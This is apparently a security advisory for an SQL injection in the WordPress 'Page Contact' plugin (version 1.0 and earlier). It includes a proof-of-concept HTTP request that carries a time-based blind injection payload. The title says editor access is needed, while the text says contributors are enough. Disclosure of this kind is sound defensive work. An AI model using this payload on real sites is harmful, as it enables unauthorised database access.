WordPress Page Contact <= 1.0 - Authenticated (editor+) SQL Injection

The Orders functionality in the plugin has an order_id parameter which is not sanitised, escaped or validated before inserting to a SQL statement, leading to SQL injection. The feature is available to low privilege users such as contributors

PoC

POST /wp-admin/admin.php?page=wpagecontact-plugin HTTP/1.1 Content-Length: 315 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-GPC: 1 Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: [editor+] Connection: close wpc_hidden_field=(CASE%20WHEN%20(7627=7627)%20THEN%20SLEEP(5)%20ELSE%207627%20END)&wpc;_method_field=Edit&wpc;_id_field=1&wpc;_first_field=sheeraz&wpc;_last_field=ali&wpc;_email_field=xxx%40gmail.com&wpc;_phone_field=%2B917974234098&wpc;_fax_field=axdsa&wpc;_company_field=student&wpc;_division_field=as&wpc;_image_field=http%3A%2F%2F192.168.0.102%2Fsdasd&wpc;_misc_field=asd